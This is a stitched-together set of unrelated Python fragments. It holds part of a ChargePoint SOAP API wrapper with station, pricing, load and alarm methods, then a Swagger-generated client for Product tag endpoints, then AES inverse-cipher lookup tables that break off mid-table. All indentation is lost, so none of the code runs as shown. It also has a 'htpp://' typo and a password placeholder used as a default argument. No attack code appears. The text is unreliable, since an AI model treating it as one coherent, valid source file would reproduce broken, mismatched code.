return CPAPIResponse.get_attr_from_response('organizationName', self.stations, port)
def sgID(self, port=None):
return CPAPIResponse.get_attr_from_response('sgID', self.stations, port)
def sgName(self, port=None):
return CPAPIResponse.get_attr_from_response('sgName', self.stations, port)
def portNumber(self, port=None):
return CPAPIResponse.get_attr_from_response('portNumber', self.stations, port)
def stationName(self, port=None):
return CPAPIResponse.get_attr_from_response('stationName', self.stations, port)
def Lat(self, port=None):
return CPAPIResponse.get_attr_from_response('Lat', self.stations, port)
def Long(self, port=None):
return CPAPIResponse.get_attr_from_response('Long', self.stations, port)
def Description(self, port=None):
return CPAPIResponse.get_attr_from_response('Description', self.stations, port)
def Reservable(self, port=None):
return CPAPIResponse.get_attr_from_response('Reservable', self.stations, port)
def Level(self, port=None):
return CPAPIResponse.get_attr_from_response('Level', self.stations, port)
def Mode(self, port=None):
return CPAPIResponse.get_attr_from_response('Mode', self.stations, port)
def Voltage(self, port=None):
return CPAPIResponse.get_attr_from_response('Voltage', self.stations, port)
def Current(self, port=None):
return CPAPIResponse.get_attr_from_response('Current', self.stations, port)
def Power(self, port=None):
return CPAPIResponse.get_attr_from_response('Power', self.stations, port)
def Connector(self, port=None):
return CPAPIResponse.get_attr_from_response('Connector', self.stations, port)
@staticmethod
def pricing_helper(attribute, station):
if 'Pricing' in station:
return station.Pricing[0][attribute] \
if attribute in station.Pricing[0] \
else CPAPIResponse.is_not_found(attribute)
else:
logger.warning("No Pricing defined for station")
return None
def Type(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('Type', self.stations, port)
else:
return [self.pricing_helper('Type', station) for station in self.stations]
def startTime(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('startTime', self.stations, port)
else:
return [self.pricing_helper('startTime', station) for station in self.stations]
def endTime(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('endTime', self.stations, port)
else:
return [self.pricing_helper('endTime', station) for station in self.stations]
def minPrice(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('minPrice', self.stations, port)
else:
return [self.pricing_helper('minPrice', station) for station in self.stations]
def maxPrice(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('maxPrice', self.stations, port)
else:
return [self.pricing_helper('maxPrice', station) for station in self.stations]
def unitPricePerHour(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('unitPricePerHour', self.stations, port)
else:
return [self.pricing_helper('unitPricePerHour', station) for station in self.stations]
def unitPricePerSession(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('unitPricePerSession', self.stations, port)
else:
return [self.pricing_helper('unitPricePerSession', station) for station in self.stations]
def unitPricePerKWh(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('unitPricePerKWh', self.stations, port)
else:
return [self.pricing_helper('unitPricePerKWh', station) for station in self.stations]
def unitPriceForFirst(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('unitPriceForFirst', self.stations, port)
else:
return [self.pricing_helper('unitPriceForFirst', station) for station in self.stations]
def unitPricePerHourThereafter(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('unitPricePerHourThereafter', self.stations, port)
else:
return [self.pricing_helper('unitPricePerHourThereafter', station) for station in self.stations]
def sessionTime(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('sessionTime', self.stations, port)
else:
return [self.pricing_helper('sessionTime', station) for station in self.stations]
class CPAPIGetStationRightsResponse(CPAPIResponse):
def __init__(self, response):
super(CPAPIGetStationRightsResponse, self).__init__(response)
@property
def rights(self):
if self.is_successful():
return self.response.rightsData
else:
raise CPAPIException(self.responseCode, self.responseText)
class CPAPIGetLoadResponse(CPAPIResponse):
def __init__(self, response):
super(CPAPIGetLoadResponse, self).__init__(response)
@property
def station_data(self):
if self.is_successful():
return self.response.stationData
else:
raise CPAPIException(self.responseCode, self.responseText)
def stationLoad(self, port=None):
return CPAPIResponse.get_attr_from_response('stationLoad', self.station_data, port)
def portLoad(self, port=None):
return CPAPIResponse.get_attr_from_response('portLoad', self.station_data, port)
def allowedLoad(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('allowedLoad', self.station_data, port)
else:
list = []
for station in self.station_data:
al = 0.0
for port in station.Port:
allowed_load = self.get_port_value(int(port.portNumber), station, 'allowedLoad')
shed_state = self.get_port_value(int(port.portNumber), station, 'shedState')
if shed_state and allowed_load > al:
al = allowed_load
list.append(al)
return list
def percentShed(self, port=None):
if port:
return CPAPIResponse.get_attr_from_response('percentShed', self.station_data, port)
else:
list = []
for station in self.station_data:
ps = 0.0
for port in station.Port:
percent_shed = self.get_port_value(int(port.portNumber), station, 'percentShed')
shed_state = self.get_port_value(int(port.portNumber), station, 'shedState')
if shed_state and percent_shed > ps:
ps = percent_shed
list.append(ps)
return list
def shedState(self, port=None):
return CPAPIResponse.get_attr_from_response('shedState', self.station_data, port)
class CPService(object):
"""
Python wrapper around the Chargepoint WebServices API.
Current Version: 5.0
Docs: ChargePoint_Web_Services_API_Guide_Ver4.1_Rev5.pdf
"""
def __init__(self, username=None, password=<PASSWORD>):
"""
Use a default API Username/Password if nothing is provided. These credentials are
created on the chargepoint website: htpp://na.chargepoint.com, tab=organizations
"""
self._username = username
self._password = password
self._suds_client = None
@property
def _client(self):
"""Initialize the SUDS client if necessary."""
if self._suds_client is None:
self._suds_client = suds.client.Client(SERVICE_WSDL_URL)
# Add SOAP Security tokens
self.set_security_token()
return self._suds_client
@property
def _soap_service(self):
return self._client.service
def set_security_token(self):
# Add SOAP Security tokens
security = suds.wsse.Security()
token = suds.wsse.UsernameToken(self._username, self._password)
security.tokens.append(token)
self._suds_client.set_options(wsse=security)
def set_client(self, client):
self._suds_client = client
self.set_security_token()
def clearAlarms(self, **kwargs):
"""Clears the Alarms of given group or station based on given query parameters.
:param **kwargs: any top-level kwarg in the following query. Most frequently queried via stationID.
Query:
(clearAlarmsSearchQuery){
orgID = None
organizationName = None
stationID = None
stationName = None
sgID = None
sgName = None
startTime = None
endTime = None
portNumber = None
alarmType = None
clearReason = None
}
:returns SOAP reply object. If successful, there will be a responseCode of '100'.
"""
searchQuery = self._client.factory.create('clearAlarmsSearchQuery')
for k, v in kwargs.items():
setattr(searchQuery, k, v)
response = self._soap_service.clearAlarms(searchQuery)
return CPAPIResponse(response)
def clearShedState(self, **kwargs):
"""Clears the shed state of given group or station.
:param sgID (as kwarg): groupID of stations to clear.
:param stationID (as kwarg): (Optional) ID of individual station to clear. If this is used, only that station will have
a cleared shed state, even with the use of sgID.
:returns SOAP reply object. If successful, there will be a responseCode of '100'.
"""
searchQuery = self._client.factory.create('shedQueryInputData')
if 'stationID' in kwargs.keys():
setattr(searchQuery, 'shedStation', {'stationID': kwargs['stationID']})
elif 'sgID' in kwargs.keys():
setattr(searchQuery, 'shedGroup', {'sgID': kwargs['sgID']})
else:
raise Exception('Must have either sgID or stationID as kwarg')
response = self._soap_service.clearShedState(searchQuery)
return CPAPIResponse(response)
def getAlarms(self, **kwargs):
"""Returns any active alarms matching the search query.
:param **kwargs: any top-level kwarg in the following query. Most frequently queried via stationID.
Query:
(getAlarmsSearchQuery){
orgID = None
organizationName = None
stationID = None
stationName = None
sgID = None
sgName = None
startTime = None
endTime = None
portNumber = None
startRecord = None
numTransactions = None
}
Reply:
(reply){
responseCode = "100"
responseText = "API input request executed successfully."
Alarms[] =
(oalarms){
stationID = "1:00001"
stationName = "CHARGEPOINT / MAIN 001"
stationModel = "CT2100-HD-CCR"
orgID = "1:ORG00001"
organizationName = "My Organization Name"
stationManufacturer = Chargepoint
stationSerialNum = "000000000001"
portNumber = None
alarmType = "Reachable"
alarmTime = 2016-12-12 12:34:56+00:00
recordNumber = 1
},
...
moreFlag = 0
}
"""
searchQuery = self._client.factory.create('getAlarmsSearchQuery')
for k, v in kwargs.items():
setattr(searchQuery, k, v)
response = self._soap_service.getAlarms(searchQuery)
return CPAPIGetAlarmsResponse(response)
def getCPNInstances(self):
"""Returns ChargePoint network objects.
Generally not useful expect that it returns the all important CPNID which is needed to construct the orgID,
described as CPNID:CompanyID.
For North America, the CPNID is '1'.
"""
return self._soap_service.getCPNInstances()
def getChargingSessionData(self, **kwargs):
"""Returns a list of charging sessions based on search query.
Returns a list of Charging Sessions. If there are more than 100
records returned by | |
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def products_id_tags_fk_get(self, id, fk, **kwargs):
"""
Find a related item by id for tags.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.products_id_tags_fk_get(id, fk, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Product id (required)
:param str fk: Foreign key for tags (required)
:return: Tag
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.products_id_tags_fk_get_with_http_info(id, fk, **kwargs)
else:
(data) = self.products_id_tags_fk_get_with_http_info(id, fk, **kwargs)
return data
def products_id_tags_fk_get_with_http_info(self, id, fk, **kwargs):
"""
Find a related item by id for tags.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.products_id_tags_fk_get_with_http_info(id, fk, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Product id (required)
:param str fk: Foreign key for tags (required)
:return: Tag
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'fk']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method products_id_tags_fk_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `products_id_tags_fk_get`")
# verify the required parameter 'fk' is set
if ('fk' not in params) or (params['fk'] is None):
raise ValueError("Missing the required parameter `fk` when calling `products_id_tags_fk_get`")
collection_formats = {}
resource_path = '/Products/{id}/tags/{fk}'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
if 'fk' in params:
path_params['fk'] = params['fk']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Tag',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def products_id_tags_fk_put(self, id, fk, **kwargs):
"""
Update a related item by id for tags.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.products_id_tags_fk_put(id, fk, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Product id (required)
:param str fk: Foreign key for tags (required)
:param Tag data:
:return: Tag
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.products_id_tags_fk_put_with_http_info(id, fk, **kwargs)
else:
(data) = self.products_id_tags_fk_put_with_http_info(id, fk, **kwargs)
return data
def products_id_tags_fk_put_with_http_info(self, id, fk, **kwargs):
"""
Update a related item by id for tags.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.products_id_tags_fk_put_with_http_info(id, fk, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Product id (required)
:param str fk: Foreign key for tags (required)
:param Tag data:
:return: Tag
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'fk', 'data']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method products_id_tags_fk_put" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `products_id_tags_fk_put`")
# verify the required parameter 'fk' is set
if ('fk' not in params) or (params['fk'] is None):
raise ValueError("Missing the required parameter `fk` when calling `products_id_tags_fk_put`")
collection_formats = {}
resource_path = '/Products/{id}/tags/{fk}'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
if 'fk' in params:
path_params['fk'] = params['fk']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in params:
body_params = params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Tag',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def products_id_tags_get(self, id, **kwargs):
"""
Queries tags of Product.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.products_id_tags_get(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Product id (required)
:param str filter:
:return: list[Tag]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.products_id_tags_get_with_http_info(id, **kwargs)
else:
(data) = self.products_id_tags_get_with_http_info(id, **kwargs)
return data
def products_id_tags_get_with_http_info(self, id, **kwargs):
"""
Queries tags of Product.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.products_id_tags_get_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Product id (required)
:param str filter:
:return: list[Tag]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'filter']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method products_id_tags_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `products_id_tags_get`")
collection_formats = {}
resource_path = '/Products/{id}/tags'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
if 'filter' in params:
query_params['filter'] = params['filter']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[Tag]',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def products_id_tags_post(self, id, **kwargs):
"""
Creates a new instance in tags of this model.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.products_id_tags_post(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Product id (required)
:param Tag data:
:return: Tag
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.products_id_tags_post_with_http_info(id, **kwargs)
else:
(data) = self.products_id_tags_post_with_http_info(id, **kwargs)
return data
def products_id_tags_post_with_http_info(self, id, **kwargs):
"""
Creates a new instance in tags of this model.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.products_id_tags_post_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Product id (required)
:param Tag data:
:return: Tag
If the method | |
0x81a01cfe, 0x82b94f9,
0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752,
0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66,
0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3,
0x2887f230, 0xbfa5b223, 0x36aba02, 0x16825ced,
0xcf1c2b8a, 0x79b492a7, 0x7f2f0f3, 0x69e2a14e,
0xdaf4cd65, 0x5bed506, 0x34621fd1, 0xa6fe8ac4,
0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4,
0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd,
0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d,
0x548db591, 0xc45d0571, 0x6d46f04, 0x5015ff60,
0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767,
0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79,
0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x0,
0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c,
0xefffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736,
0xfd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24,
0xa67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b,
0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c,
0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12,
0x90d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814,
0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3,
0x1269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b,
0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8,
0x31dccad7, 0x63851042, 0x97224013, 0xc6112084,
0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7,
0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077,
0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247,
0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22,
0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698,
0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f,
0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254,
0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582,
0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf,
0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb,
0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883,
0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef,
0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629,
0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035,
0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533,
0x4984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17,
0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4,
0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46,
0x5eea049d, 0x8c355d01, 0x877473fa, 0xb412efb,
0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d,
0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb,
0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a,
0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73,
0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678,
0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2,
0x1dc37216, 0xe2250cbc, 0x3c498b28, 0xd9541ff,
0xa8017139, 0xcb3de08, 0xb4e49cd8, 0x56c19064,
0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0)
U1 = (0x0, 0xe090d0b, 0x1c121a16, 0x121b171d,
0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331,
0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45,
0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69,
0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad,
0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381,
0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5,
0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9,
0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66,
0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a,
0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e,
0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012,
0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6,
0x38f5fe7, 0xd8652ec, 0x1f9d45f1, 0x119448fa,
0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e,
0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2,
0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb,
0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7,
0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3,
0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f,
0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b,
0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77,
0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203,
0x58ae132, 0xb83ec39, 0x1998fb24, 0x1791f62f,
0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190,
0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc,
0x605bed5, 0x80cb3de, 0x1a17a4c3, 0x141ea9c8,
0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4,
0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120,
0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c,
0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978,
0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54,
0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea,
0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6,
0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2,
0x9808683, 0x7898b88, 0x15929c95, 0x1b9b919e,
0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a,
0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976,
0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502,
0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e,
0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691,
0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd,
0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9,
0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5,
0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621,
0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d,
0xa0fd964, 0x406d46f, 0x161dc372, 0x1814ce79,
0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55,
0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c,
0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430,
0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844,
0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68,
0xc0a67b1, 0x2036aba, 0x10187da7, 0x1e1170ac,
0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480,
0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4,
0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8,
0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67,
0xf853856, 0x18c355d, 0x13972240, 0x1d9e2f4b,
0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f,
0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713,
0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7,
0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb,
0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f,
0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3)
U2 = (0x0, 0xb0e090d, 0x161c121a, 0x1d121b17,
0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23,
0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f,
0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b,
0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7,
0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3,
0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af,
0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b,
0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac,
0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498,
0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4,
0xf9357e7, 0x49d5eea, 0x198f45fd, 0x12814cf0,
0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c,
0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448,
0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814,
0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20,
0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a,
0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e,
0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512,
0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126,
0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa,
0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e,
0x1e3daed5, 0x1533a7d8, 0x821bccf, 0x32fb5c2,
0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6,
0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1,
0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5,
0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9,
0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d,
0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611,
0x11aef932, 0x1aa0f03f, 0x7b2eb28, 0xcbce225,
0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79,
0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d,
0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd,
0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9,
0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5,
0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91,
0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d,
0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329,
0x1fd13462, 0x14df3d6f, 0x9cd2678, 0x2c32f75,
0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41,
0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76,
0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842,
0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e,
0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a,
0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6,
0x10426385, 0x1b4c6a88, 0x65e719f, 0xd507892,
0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce,
0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa,
0x1ec9ab7, 0xae293ba, 0x17f088ad, 0x1cfe81a0,
0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594,
0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8,
0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc,
